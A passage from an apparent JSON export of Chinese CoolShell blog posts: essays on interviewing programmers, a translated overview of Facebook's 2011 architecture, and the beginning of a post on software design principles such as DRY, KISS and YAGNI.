**看看他对知识的应用和理解**。比如，他是否会用一些基础的数据结构和算法来解决算法题？\n* **看看他的整个解题思路和想法**。答案是次要的，他的想法和行为才是重要的。\n* **看看他是如何和你讨论交流的**。把面试者当成你未来的同事，当成你的工作伙伴，一起解题，一起讨论，这样可以看看大家是否可以在一起工作。\n\n\n这些方面才是考查应聘者的能力（思路，方法、态度，性格等），并顺带着考查面试者的经验和知识。下面是一些面试的点：\n\n\n* 应聘者在解算法题时会不会分解或简化这个难题。这是分析能力。\n* 应聘者在解算法题 时会不会使用一些基础知识，如数据结构和基础算法。这是知识。\n* 应聘者在解题 时和你讨论的过程中你有没有感到应聘者的专研精神和良好的沟通。\n* 应聘者在对待这个算法题的心态和态度。如，面试面是否有畏难情绪。\n* 应聘者在解题时的思路和方法是否得当，是否是比较科学的方法？\n* 等等。\n\n\n**在解难题 的过程中考查应聘者的能力才是最终目的，而不是为难应聘者，不然，你只是一个傲慢而无知的面试官**。\n\n\n#### 模拟实际中的挑战和能力\n\n\n作为面试官的你，你应该多想想你的工作，以及你的成长经历。这会对你的面试很有帮助。你在工作中解决问题的实际情况是什么？你写代码的实际情况是什么？你的成长经历是什么？你是怎么获得知识和能力的？你喜欢和什么样的人工作？**相信你不难会发现你工作中的实际情况和面试的情况完全是两码事，那么，你怎么可以用这种与实际情况差别那么大的面试来评估一个人的能力呢**？\n\n\n所以，最为理想的面试是一起工作一段时间。当然，这个在招聘过程中，操作起来几乎不可能，因此，这就要求我们的面试官尽可能地把面试的过程模拟成平时工作的 过程。大家一些讨论来解决一个难题，和应聘者一起回顾一下他已经做过的事情，并在回础的过程中相互讨论相互学习。下面举一个例子。\n\n\n我们知道，对于软件开发来说，开发软件不难，难是的下面是这些挑战：\n\n\n1. 软件的维护成本远远大于软件的开发成本。\n2. 软件的质量变得越来越重要，所以，测试工作也变得越来越重要。\n3. 软件的需求总是在变的，软件的需求总是一点一点往上加的。\n4. 程序中大量的代码都是在处理一些错误的或是不正常的流程。\n\n\n所 以，当我们在考查应聘者的代码能力时候，我们为什么不能模拟这样的过程呢？比如，让应聘者实现一个atoi()的函数，实现起来应该很简单，然后 不断地往上加新的需求或新的案例，比如：处理符号，处理非数字的字母的情况，处理有空格的情况，处理十六进制，处理二进制，处理“逗号”，等等，我们要看 应聘者是怎么修改他的代码的，怎么写测试案例的，怎么重构的，随着要处理的东西越来越多，他的代码是否还是那么易读和清晰。如果只是考查编码能力，一个小时，就问这一个问题，足矣。真正的程序员每天都在和这样的事打交道的。\n\n\n如果要考查应聘者的设计能力，同样可以如法泡制。不断地加新的功 能，新的需求。看看面试者的思路，想法，分 析的方法，和你的讨论是否流畅，说没说在 点上，思想清不清晰，会应用什么样的知识，他在设计这个系统时的经验是会是什么样的，面对不断的修改和越来越复杂的需求，他的设计是否还是那么好？\n\n\n当然，因为时间比较短，所以，你不能出太复杂的问题，这需要你精心设计一些精制的有代表性的问题。\n\n\n（末完，[请参看下篇](https://coolshell.cn/articles/4490.html \"再谈“我是怎么招聘程序员的”（下）\")）\n\n\n[**再谈“我是怎么招聘程序员的”（下）>>>**](https://coolshell.cn/articles/4490.html \"再谈“我是怎么招聘程序员的”（下）\")\n\n\n**（请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/4976.html)[给程序员新手的一些建议](https://coolshell.cn/articles/4976.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/4490.html)[再谈“我是怎么招聘程序员的”（下）](https://coolshell.cn/articles/4490.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\n* [![我是怎么招聘程序员的](../wp-content/uploads/2009/12/job-interview-150x150.gif)](https://coolshell.cn/articles/1870.html)[我是怎么招聘程序员的](https://coolshell.cn/articles/1870.html)\nThe post [再谈“我是怎么招聘程序员的”（上）](https://coolshell.cn/articles/4506.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-20 再谈“我是怎么招聘程序员的”（下）.md",
    "content": "---\nlayout: post\ntitle: 再谈“我是怎么招聘程序员的”（下）\ndate: 2011/4/20/ 0:35:7\nupdated: 2011/4/20/ 0:35:7\nstatus: publish\npublished: true\ntype: post\n---\n\n**[**<<<再谈“我是怎么招聘程序员的”（上）**](https://coolshell.cn/articles/4506.html \"再谈“我是怎么招聘程序员的”（上）\")**\n\n\n在上篇中，我们说到了一些认识人的方法（操作，知识，经验，能力），还有一些面试的方法（算法题，实际生产活动中的挑战），下面我们来说说，面试的风格，还有一些点评。\n\n\n#### 把应聘者当成你的同事\n\n\n有些公司的面试官，在面试过程中问你一个算法题，然后等着你解答了，如果你给出一个答案，然后就会问你有没有更好的答案，如果你给出了正确的答案，他们就会问你一个更难的问题，如此循环下去。他们基本上很少给你提示，甚至不停地质问你，挑战你，搞得应聘者很紧张。\n\n\n另外，有很多问题是没有标准答案的，或者说是，同一个答案的描述方法有多种，很多面试官会觉得你没有回答到他想要的答案，因此表现得有对你不屑，并表现出你不行的样子，并觉得你的能力有问题。真是可笑了。比如我一个朋友在回答什么是异步的问题时，举例说明了异步调用就是不能处理完就返回，并且需要传递一个回调函数给调用方以便完成后回调通知结果。这样的回答并没有错，但是这并不符合面试官心里想要的答案，面试官对此并不满意，进而认为我这个朋友还需要去多读读书。\n\n\n我相信大多数面试官都会这样干的。我想问问这样的面试官，**你们有没有用面试的方式对过你的同事？在你的工作场景中，你会不会用面试的风格和你的同事进行交流和说话？**不妨让我们来问我们自己下面几个问题：\n\n\n* 你在工作当中遇到难题时你是怎么解决的？你会和人讨论吗？你只用15分钟就能得出最优解吗？\n* 你在工作当中解决难题时是否会有一个人在旁边质问你并给你压力吗？\n* 你在工作当中会为难你的同事吗？会让你的同事紧张吗？你觉得在紧张的状态下能做好工作吗？\n* 你在工作中觉得同事的回答并不是你想要的答案，不是符合你的答案，你会认为你的同事不行吗？\n* 你的成长过程是什么样的？在是压力和天天被人质问的情况下成长的吗？\n* 大家都知道学校里应试教育的弊端，你觉得你的面试是不是一种应试呢？  \n\n（看看这么多的应聘者们都在做各种各样的算法题，这不就是一种应试吗？）\n\n\n想一想你的日常工作，问自己一下上面这些问题，想一想你自己的成长过程，想一想你和你的同事是怎么相处的，想一想你的日常工作中是什么样的，相信你自己也能得出结论的。\n\n\n如果你把应聘者当成自己未来的同事，那么你的面试会有下面的收获：\n\n\n\n* 面试的气氛会很不错，应聘者会放松，表现自然，更接受于真实的状态。\n* 面试中的交流和互动（而不是一问一答）会让你更全面的考查和了解一个人。\n* 非应试的面试，会让你了解得更多。\n* 真实的了解一个人，你才能做出真正正确的结论。\n\n\n#### 向应聘者学习\n\n\n下面有几个观点\n\n\n* 面试的过程是一个相互学习的过程，并不是你为难面试者的过程。\n* 一问一答是很一种呆板死板的过程，相互讨论相互学习，有良好的互动才是好的面试过程。\n* 面试官要证明的不是你有多强有多聪明，而是要挖掘应聘者的优势和能力。\n* 面试官用为自己的问题预设好一个标准答案，看看应聘者能为你带来什么。\n* 向来应聘的人学习，而不是刁难。\n\n\n**无论你多牛，要难倒你实在是太容易了。出难题不是目的，难倒人也很容易，出难题只不过是用来了解应聘者能力的一个手段，而不是面试的全部**。\n\n\n我不知道你喜欢不喜欢一些竞技类的运动？比如踢球，打篮球，羽毛球，下象棋等，你一般想和什么样的人玩？是差的，还是强的？所以，**能够从面试者那里学到东西，喜欢和面试者一起工作，这才是面试真正的目的**。\n\n\n对于一个团队来说，如果大家都是一样的想法，一样的主张，一样的倾向，那么这个团队最终会是一个闭塞的团队，你如果不能真正接纳不同想法的人，不同主张的人，那么你也将失去进步的机会。**如果你的团队总是在招入和你一样的人，那么你的团队怎么可能会有out-of-box的想法呢？世界因为不同而美好**。\n\n\n另外，对于公司来说，**如果你招进来的人还不如已经有的人，作为一个公司，你又怎么能有更好的人让你的公司进步呢**？\n\n\n所以，面试应该是向面试者学习的一个过程。当然，**如果你从他身上学不到什么，那么你就教他一些吧。这样，就算是面试不通过，面试者也会欣然接受的**。不然，让面试者产生一些负面情绪，出去说一些不好的话，也有损你和公司的形象。\n\n\n#### 一些相关的点评\n\n\n下面是我根据酷壳的一些[面试题的文章](https://coolshell.cn/tag/interview)后的回复、还有我朋友的经历，还有这篇有关豆瓣的产品经理的[这篇文章](http://www.douban.com/note/146145117/ \"知乎上某人写面试豆瓣产品经理的经历，很欢乐\")的一些点评。大家可以看看我从这些地方看到东西靠不靠谱。\n\n\n**酷壳的面试题中的答复**\n\n\n先说酷壳的那篇“[火柴棍式的面试题](https://coolshell.cn/articles/3961.html \"“火柴棍式”程序员面试题\")”，这个面试题其实很没什么意思。主要考查你对代码逻辑的了解程度。因为设置了回复可见答案，所以这篇文章的回复量达千把条。从回复中，我看到：\n\n\n* 一些朋友想不出来就直接看答案了。我可以看出，有一些朋友习惯获得知识，而不习惯独立思考。甚至有畏难情绪，从另一方面来说，可以看出我国的教育还真不是一般的差。\n* 一些朋友想不全。从这点来看，我觉得很正常，尤其是想出两种来的，我可以感觉到他们的努力思考了，可能还做了一些尝试。挺不错的。可惜我看不到你思考的方式，是在纸上画了画，还是编译了个程序跑了跑，还是别的什么。这样我会了解你更多。\n* 一些朋友给出的答案中有错的。这说明了这类朋友可能不喜欢做测试，时常想当然，或是做事比较冲动，并不足够严谨。这么简单的程序，验证能花多少精力呢？\n* 还有少数的朋友没有看明白题目要求。这说明了这类朋友太粗心了，在工作当中可能会表现为误解需求和别人的话。沟通有问题。\n\n\n再说说那篇“[火车运煤](https://coolshell.cn/articles/4429.html \"面试题：火车运煤问题\")”的问题，这个面试题我觉得主要是看看大家的解题思路，表达能力。\n\n\n* 首先，我很惊喜有人很快就用数学做了解答，很不错，这个人的数学功底很不错。能用数学解题的人一般来说都是算法比较强的人。\n* 有人说抱怨我没有说火车可以调头回去，所以没有想到这样的方法。如果是在面试中我会做提示的。我不会因为你不知道调头这个潜规则而否定你的。当然，如果你能想到的话说明你的脑袋还是比较灵的。\n* 还有很多人说他的方法比较土，只运了400吨煤，416吨的或333吨，一看就是没有看提示的，我觉得这些人能够通过独立思考找到方法，这类的人其实已经不错了。顺着这个思路优化也只是时间的问题了。\n* 更可喜的是，我看到了有一些朋友在看到别人的更好的方法后和自己的方法进行了比较，并找到了为什么自己的方法不如他的原因。这样的人我认为是懂得“总结”和“比较”的，这样的人总是在不断地学习和改善自己的。\n* 还有人说到了动态规划，如果是在面试的时候，我很想向这位朋友学习一下用动态规划来解这题。\n* 还有朋友说到了火车调头只能在有站的地方。这个朋友一看要么就是搞需求分析的人，要么就是较真的人。需要进一步了解。但不管怎么样，这样的朋友的观察能力是很不错的。\n* 还有一些朋友给出的答案是正确的。但是表达方面比较复杂，有些没有看懂。可见，解题 的能力是有的，只是表达能力还有待提高。\n\n\n**豆瓣产品经理的面试**\n\n\n再说说豆瓣上的[这篇文章](http://www.douban.com/note/146145117/ \"知乎上某人写面试豆瓣产品经理的经历，很欢乐\")，那篇文章里，面试官问了一个比较大的问题，那是仁者见仁，智者见智的问题，并且面试官并不满意应聘者给出的答案，并在用其主观意识强加一些东西给应聘者，并不断地和应聘者纠缠。后来，面试官回复到“重点测了两个问题：一是判别事情的标准和方法；二是在多种PK下产品经理的压力反应”。\n\n\n下面是我观察到的：\n\n\n* 其一、这种似事而非的仁者见仁，智者见仁，一万人有一万个答案。所以，这种怎么答都可以的问题是很难有标准的，我认为豆瓣的面试官以这种问题来考查面试者的标准太有问题了。更好的问题是：比较一下新浪和twitter这两个产品。\n* 其二、多种想法PK的压力反应。这点没有问题，如果有机会我想问问这位面试官，豆瓣产品经理们的PK各自的想法时是以这种纠缠的方式吗？如果是这样的话，那我很为你们担忧啊。\n* 其三、很明显，应聘者不知道面试官想说什么，所以应聘者总是给出一些模棱两可的回答。回答得很政客，呵呵。\n* 其四、问的问题都是一些假设性的问题，假设技术人员不可沟通。人家说了，还没有见过不能沟通的情况。结果还要继续追问。这样你既要观察不到你想要的，也搞得大家不愉快。更好的问题的：“请你给一个你和一个很难沟通的人沟通的示例”，或是当应聘者说了“坚持己见”的时候，也应该追问“能给一个你坚持己见的例子吗？”。\n* 其五、整个面试过程完全是在谈一些虚的东西，就像天上的浮云，一点实实在在的东西都没有。比如下面这两个实实在在的问题：“你以前设计过什么产品？”，“你和你的技术团队是怎么合作的？”\n\n\n这是一个完完全全失败的面试，这个面试官根本不懂面试，甚至工作方法也可能很有问题。也许他只是想找一个能够在工作中附和他的人。\n\n\n**朋友的面试**\n\n\n最后说说我那个朋友的面试，我的这个朋友学习能力很强，也很好专研，工作中解决了很多很困难甚至很底层的问题。他做软件开发时间并不长，但是他对这个行业很有热情，也很执着，并有着相当不错的技术功底。这天他遇到了一个面试官，根据朋友的描述，这位面试官，主要问题了三个问题，一个是关于异步的，一个是关于性能调优的，还有一个是关于学习能力的。\n\n\n* 问到异步的问题，我这个朋友说到了多线程中的异步调用，但是他可能问的是网络或是业务中的异步，要不然就是Linux 内核中的异步，当然他也没有说清楚，但他很不满意我朋友的答案，并让我朋友回去多看看书。\n* 问到性能调优的问题时，我这个朋友说了性能调优分三级，业务级，指令级和CPU级，并举例说了使用了一个叫VTune的性能分析工具。面试官却说原来你只懂Windows，有点不屑，并说他只会使用商业工具，更不屑。\n* 当我朋友向他澄清问题时，面试官只是摇头，叹气。并在应聘者作答的过程中不断的打断对方。\n\n\n我的看法如下：\n\n\n* 对于异步来说，我认为这是一种设计或是一种想法，可能会有很多种不同的实现方式，在不同的场景中会有不同的用法。面试官并没有考查应聘者对异步方法的理解，也没有考查异步方法可以用来解决什么，异步方法的优势和劣势，等等。只是觉得应聘者没有给出他想要的答案。\n* 对于性调优的问题，我认为应聘者的思路和知识都很不错，还有使用VTune的经验。无论使用Windows还是Linux，无论使用商业的还是开源的Profiler，很多东西都是相通的，怎么能够因为这个东西不对自己的口味而下结论。为什么不向人家学习一下VTune呢？使用工具只是操作技能啊。\n* 面试官应该是用微笑来鼓励应聘者的，而不是用摇头和叹气，频繁打断对方也是一个相当不好的习惯。看来这个面试官很不能接受不同的东西。\n\n\n这位有很不错的技术能力的人，看来并不适合做一个面试官，因为他面试的东西都只在知识层次，而且这位面试官有强烈的喜好和倾向，所以，他必然会错过那些有能力但并不合他口味的人。\n\n\n哎，面对这样的面试官，大家伤不起啊！\n\n\n（全文完）\n\n\n**（请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/4976.html)[给程序员新手的一些建议](https://coolshell.cn/articles/4976.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4506.html)[再谈“我是怎么招聘程序员的”（上）](https://coolshell.cn/articles/4506.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\n* [![我是怎么招聘程序员的](../wp-content/uploads/2009/12/job-interview-150x150.gif)](https://coolshell.cn/articles/1870.html)[我是怎么招聘程序员的](https://coolshell.cn/articles/1870.html)\nThe post [再谈“我是怎么招聘程序员的”（下）](https://coolshell.cn/articles/4490.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-25 Facebook 的系统架构.md",
    "content": "---\nlayout: post\ntitle: Facebook 的系统架构\ndate: 2011/4/25/ 5:39:26\nupdated: 2011/4/25/ 5:39:26\nstatus: publish\npublished: true\ntype: post\n---\n\n**来源**：[http://www.quora.com/What-is-Facebooks-architecture](http://www.quora.com/What-is-Facebooks-architecture \"What is Facebook's Architecture?\") （由[Micha?l Figuière](http://www.quora.com/Micha%C3%ABl-Figui%C3%A8re)回答）\n\n\n根据我现有的阅读和谈话，我所理解的今天Facebook的架构如下：\n\n\n* Web 前端是由 PHP 写的。Facebook 的 [HipHop](http://developers.facebook.com/blog/post/358) [1] 会把PHP转成 C++ 并用 g++编译，这样就可以为模板和Web逻贺业务层提供高的性能。\n\n\n* 业务逻辑以Service的形式存在，其使用[Thrift](http://thrift.apache.org/) [2]。这些Service根据需求的不同由PHP，C++或Java实现（也可以用到了其它的一些语言……）\n\n\n* 用Java写的Services没有用到任何一个企业级的应用服务器，但用到了Facebook自己的定制的应用服务器。看上去好像是重新发明轮子，但是这些Services只被暴露给Thrift使用（绝大所数是这样），Tomcat太重量级了，即使是Jetty也可能太过了点，其附加值对Facebook所需要的没有意义。\n\n\n* 持久化由MySQL, [Memcached](http://memcached.org/) [3], Facebook 的 [Cassandra](http://cassandra.apache.org/) [4], Hadoop 的 [HBase](http://hbase.apache.org/) [5] 完成。Memcached 使用了MySQL的内存Cache。Facebook 工程师承认他们的Cassandra 使用正在减少，因为他们更喜欢HBase，因为它的更简单的一致性模型，以到其MapReduce能力。\n\n\n* 离线处理使用Hadoop 和 Hive。\n\n\n* 日志，点击，feeds数据使用[Scribe](https://github.com/facebook/scribe) [6]，把其聚合并存在 HDFS，其使用[Scribe-HDFS](http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html) [7]，因而允许使用MapReduce进行扩展分析。\n\n\n\n* [BigPipe](http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919) [8] 是他们的定制技术，用来加速页面显示。\n\n\n* [Varnish Cache](http://www.varnish-cache.org/) [9]用作HTTP代理。他们用这个的原因是[高速和有效率](http://www.varnish-software.com/customers/facebook)。 [10].\n\n\n* 用来搞定用户[上传的十亿张照片的存储](http://www.facebook.com/note.php?note_id=76191543919)，其由Haystack处理，Facebook自己开发了一个Ad-Hoc存储方案，其主要做了一些低层优化和“仅追加”写技术 [11].\n\n\n* Facebook Messages 使用了自己的架构，其明显地构建在了一个动态集群的基础架构上。业务逻辑和持久化被封装在一个所谓的’Cell’。每个‘Cell’都处理一部分用户，新的‘Cell’可以因为访问热度被添加[12]。 持久化归档使用HBase [13]。\n\n\n* Facebook Messages 的搜索引擎由存储在HBase中的一个倒置索引的构建。 [14]\n\n\n* Facebook 搜索引擎实现细节据我所知目前是未知状态。\n\n\n* Typeahead 搜索使用了一个定制的存储和检索逻辑。 [15]\n\n\n* Chat 基于一个Epoll 服务器，这个服务器由Erlang 开发，由Thrift存取 [16]\n\n\n关于那些供给给上述组件的资源，下面是一些信息和数量，但是有一些是未知的：\n\n\n* Facebook估计有超过60,000 台服务器[16]。他们最新的数据中心在俄勒冈州的Prineville，其基于完全自定设计的硬件[17] 那是最近才公开的 [Open Compute 项目](http://opencompute.org)[18]。\n\n\n* 300 TB 的数据存在 Memcached 中处理 [19]\n\n\n* 他们的Hadoop 和 Hive 集群由3000 服务器组成，每台服务器有8个核，32GB的内存，12TB的硬盘，全部有2万4千个CPU的核，96TB内存和36PB的硬盘。 [20]\n\n\n* 每天有1000亿的点击量，500亿张照片， 3 万亿个对象被 Cache，每天130TB的日志（[2010年7月的数据](http://www.facebook.com/note.php?note_id=409881258919)） [21]\n\n\n**参考引用**\n\n\n[1] *HipHop for PHP*: <http://developers.facebook.com/blog/post/358>  \n[2] *Thrift*: <http://thrift.apache.org/>  \n[3] *Memcached*: <http://memcached.org/>  \n[4] *Cassandra*: <http://cassandra.apache.org/>  \n[5] *HBase*: <http://hbase.apache.org/>  \n[6] *Scribe*: <https://github.com/facebook/scribe>  \n[7] *Scribe-HDFS*: <http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html>  \n[8] *BigPipe*: <http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919>  \n[9] *Varnish Cache*: <http://www.varnish-cache.org/>  \n[10] *Facebook goes for Varnish*: <http://www.varnish-software.com/customers/facebook>  \n[11] *Needle in a haystack*: efficient storage of billions of photos: <http://www.facebook.com/note.php?note_id=76191543919>  \n[12] *Scaling the Messages Application Back End*: <http://www.facebook.com/note.php?note_id=10150148835363920>  \n[13] *The Underlying Technology of Messages*: <https://www.facebook.com/note.php?note_id=454991608919>  \n[14] *The Underlying Technology of Messages Tech Talk*: <http://www.facebook.com/video/video.php?v=690851516105>  \n[15] *Facebook’s typeahead search architecture*: <http://www.facebook.com/video/video.php?v=432864835468>  \n[16] *Facebook Chat*: <http://www.facebook.com/note.php?note_id=14218138919>  \n[17] *Who has the most Web Servers?*: <http://www.datacenterknowledge.com/archives/2009/05/14/whos-got-the-most-web-servers/>  \n[18] B*uilding Efficient Data Centers with the Open Compute Project*: <http://www.facebook.com/note.php?note_id=10150144039563920>  \n[19] *Open Compute Project*: <http://opencompute.org/>  \n[20] *Facebook’s architecture presentation at Devoxx 2010*: <http://www.devoxx.com>  \n[21] *Scaling Facebook to 500 millions users and beyond*: <http://www.facebook.com/note.php?note_id=409881258919>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\n* [![关于Facebook 的 React 专利许可证](../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg)](https://coolshell.cn/articles/18140.html)[关于Facebook 的 React 专利许可证](https://coolshell.cn/articles/18140.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/7448.html)[扎克伯格的一封信：关于Facebook IPO](https://coolshell.cn/articles/7448.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/3721.html)[Stack Exchange 的架构](https://coolshell.cn/articles/3721.html)\n* [![Facebook全球关系网](../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png)](https://coolshell.cn/articles/3396.html)[Facebook全球关系网](https://coolshell.cn/articles/3396.html)\n* [![30种时尚的CSS网站导航条](../wp-content/uploads/2009/04/13-09_menu_menu-150x150.jpg)](https://coolshell.cn/articles/562.html)[30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html)\nThe post [Facebook 的系统架构](https://coolshell.cn/articles/4549.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-25 一些软件设计的原则.md",
    "content": "---\nlayout: post\ntitle: 一些软件设计的原则\ndate: 2011/4/25/ 0:24:18\nupdated: 2011/4/25/ 0:24:18\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站向大家介绍过一些软件开发的原则，比如[优质代码的十诫](https://coolshell.cn/articles/1007.html \"优质代码的十诫\")和[Unix传奇(下篇)](https://coolshell.cn/articles/2324.html \"Unix传奇(下篇)\")中所以说的UNIX的设计原则。相信大家从中能够从中学了解到一些设计原理方面的知识，正如我在《[再谈“我是怎么招聘程序”](https://coolshell.cn/articles/4506.html \"再谈“我是怎么招聘程序员的”（上）\")》中所说的，一个好的程序员通常由其操作技能、知识水平，经验层力和能力四个方面组成。在这里想和大家说说设计中的一些原则，我认为这些东西属于长期经验总结出来的知识。这些原则，每一个程序员都应该了解。但是请不要教条主义，在使用的时候还是要多多考虑实际情况。其实，**下面这些原则，不单单只是软件开发，可以推广到其它生产活动中，甚至我们的生活中**。\n\n\n#### Don’t Repeat Yourself (DRY)\n\n\nDRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。\n\n\n**参考**：[http://en.wikipedia.org/wiki/Don%27t\\_repeat\\_yourself](http://en.wikipedia.org/wiki/Don%27t_repeat_yourself \"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\")\n\n\n#### Keep It Simple, Stupid (KISS)\n\n\nKISS原则在设计上可能最被推崇的，在家装设计，界面设计 ，操作设计上，复杂的东西越来越被众人所BS了，而简单的东西越来越被人所认可，比如[这些UI的设计](https://coolshell.cn/articles/1907.html \"UI的恶梦\")和我们[中国网页](https://coolshell.cn/articles/3605.html \"为什么中国的网页设计那么烂？\")（尤其是[新浪的网页](https://coolshell.cn/articles/3872.html \"微软用新浪来当反面教材\")）者是负面的例子。“宜家”（IKEA）简约、效率的家居设计、生产思路；“微软”（Microsoft）“所见即所得”的理念；“谷歌”（Google)简约、直接的商业风格，无一例外的遵循了“kiss”原则，也正是“kiss”原则，成就了这些看似神奇的商业经典。而苹果公司的iPhone/iPad将这个原则实践到了极至。\n\n\n\n把一个事情搞复杂是一件简单的事，但要把一个复杂的事变简单，这是一件复杂的事。\n\n\n**参考**：[http://en.wikipedia.org/wiki/KISS\\_principle](http://en.wikipedia.org/wiki/KISS_principle \"http://en.wikipedia.org/wiki/KISS_principle\")\n\n\n#### Program to an interface, not an implementation\n\n\n这是设计模式中最根本的哲学，注重接口，而不是实现，依赖接口，而不是实现。接口是抽象是稳定的，实现则是多种多样的。以后面我们会面向对象的SOLID原则中会提到我们的依赖倒置原则，就是这个原则的的另一种样子。还有一条原则叫 **Composition over inheritance**（喜欢组合而不是继承），这两条是那23个经典设计模式中的设计原则。\n\n\n#### Command-Query Separation (CQS)  – 命令-查询分离原则\n\n\n* 查询：当一个方法返回一个值来回应一个问题的时候，它就具有查询的性质；\n* 命令：当一个方法要改变对象的状态的时候，它就具有命令的性质；\n\n\n通常，一个方法可能是纯的Command模式或者是纯的Query模式，或者是两者的混合体。在设计接口时，如果可能，应该尽量使接口单一化，保证方法的行为严格的是命令或者是查询，这样查询方法不会改变对象的状态，没有副作用，而会改变对象的状态的方法不可能有返回值。也就是说：如果我们要问一个问题，那么就不应该影响到它的答案。实际应用，要视具体情况而定，语义的清晰性和使用的简单性之间需要权衡。将Command和Query功能合并入一个方法，方便了客户的使用，但是，降低了清晰性，而且，可能不便于基于断言的程序设计并且需要一个变量来保存查询结果。\n\n\n在系统设计中，很多系统也是以这样原则设计的，查询的功能和命令功能的系统分离，这样有则于系统性能，也有利于系统的安全性。\n\n\n**参考**：[http://en.wikipedia.org/wiki/Command-query\\_separation](http://en.wikipedia.org/wiki/Command-query_separation \"http://en.wikipedia.org/wiki/Command-query_separation\")\n\n\n#### You Ain’t Gonna Need It (YAGNI)\n\n\n这个原则简而言之为——只考虑和设计必须的功能，避免过度设计。只实现目前需要的功能，在以后您需要更多功能时，可以再进行添加。\n\n\n* 如无必要，勿增复杂性。\n* 软件开发先是一场沟通博弈。\n\n\n以前本站有一篇关于[过度重构的文章](https://coolshell.cn/articles/3005.html \"代码重构的一个示例\")，这个示例就是这个原则的反例。而，WebSphere的设计者就[表示过他过度设计了这个产品](http://www.bbc.co.uk/news/business-11944966)。我们的程序员或是架构师在设计系统的时候，会考虑很多扩展性的东西，导致在架构与设计方面使用了大量折衷，最后导致项目失败。这是个令人感到讽刺的教训，因为本来希望尽可能延长项目的生命周期，结果反而缩短了生命周期。\n\n\n**参考**：[http://en.wikipedia.org/wiki/You\\_Ain%27t\\_Gonna\\_Need\\_It](http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It \"http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It\")\n\n\n#### Law of Demeter – 迪米特法则\n\n\n迪米特法则(Law of Demeter)，又称“最少知识原则”（Principle of Least Knowledge），其来源于1987年荷兰大学的一个叫做Demeter的项目。Craig Larman把Law of Demeter又称作“不要和陌生人说话”。在《程序员修炼之道》中讲LoD的那一章叫作“解耦合与迪米特法则”。关于迪米特法则有一些很形象的比喻：\n\n\n* 如果你想让你的狗跑的话，你会对狗狗说还是对四条狗腿说？\n* 如果你去店里买东西，你会把钱交给店员，还是会把钱包交给店员让他自己拿？\n\n\n和狗的四肢说话？让店员自己从钱包里拿钱？这听起来有点荒唐，不过在我们的代码里这几乎是见怪不怪的事情了。\n\n\n对于LoD，正式的表述如下：\n\n\n\n> 对于对象 ‘O’ 中一个方法’M’，M应该只能够访问以下对象中的方法：\n> \n> \n> 1. 对象O；\n> 2. 与O直接相关的Component Object；\n> 3. 